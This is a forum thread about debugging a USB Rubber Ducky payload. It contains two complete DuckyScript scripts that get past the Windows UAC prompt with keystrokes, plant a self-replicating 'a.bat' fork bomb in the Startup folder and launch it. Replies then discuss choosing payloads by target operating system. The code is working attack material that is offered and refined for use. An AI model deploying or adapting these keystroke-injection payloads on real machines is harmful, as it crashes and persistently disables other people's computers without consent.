Jump to content

[Payload] Fork Bomb Payload Issue


CanadianTaco
 Share

Recommended Posts

So I ran the fork bomb on a windows 7 pc I had laying around and it worked perfectly, I had to boot up into safe mode to delete the "a.bat" file from startup. So I then restarted it and now the program won't work again. It gets caught up after running cmd as administrator when UAC pops up it doesn't press the left arrow to select yes.

I've tried recompiling the code but still nothing...

Using the code from: http://www.usbrubberducky.com/wiki/doku.php?id=payloads

CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
ENTER
DELAY 200
LEFT
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat 
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
ALT F4

Any ideas?

-edit-

For some reason this code works for me better than the previous code:

CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 500
LEFT
ENTER
DELAY 1000
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat 
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
ALT F4

Which has got me thinking... What's the potential for running if statements with the duck. For example: Say you don't know what OS the target pc is running, so you create three different payloads (xp, Vista, 7) and then the if statement: if OS = 7 then run payload 3, and so on...???

Edited by CanadianTaco
Link to comment
Share on other sites

As a HID Device I don't know what the options are for detecting the OS, however on the planned features page on the wiki there is a feature which mentions there will be the possibility to deliver more than one payload by pressing the button after the ducky is inserted. You could have a payload for each OS you want to target.

Link to comment
Share on other sites

think its gone be beter that the ducky auto detects the os and then runs a payload for that os. For exampl plug it in OS X it would run inject-osx.bin. Put it into windows it would run inject-win.bin

But this got the be coded in the ducky. the duckyscript it self only acts as a keyboard so doesnt receive any commands back ( only for led status of capslock and such )

For the moment, the batchfile is good for the difference between xp and vista,7. ( uac stuff )

Link to comment
Share on other sites

Well in the feature_request page of the wiki it states:

2-second delay before executing any payloads – at which time 1, 2, or 3 button presses can indicate inject1.bin, inject2.bin or inject3.bin. No button press after the 2-second delay executes the default inject.bin. Four payloads on a single card!

So you could manually inject whichever .bin file you want. But I'm still not sure on how you would go about automatically detecting a specific OS. Maybe have the first inject.bin do so, then based on that have the if statement redirect to whichever inject(1,2,3).bin would be required for that particular OS...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...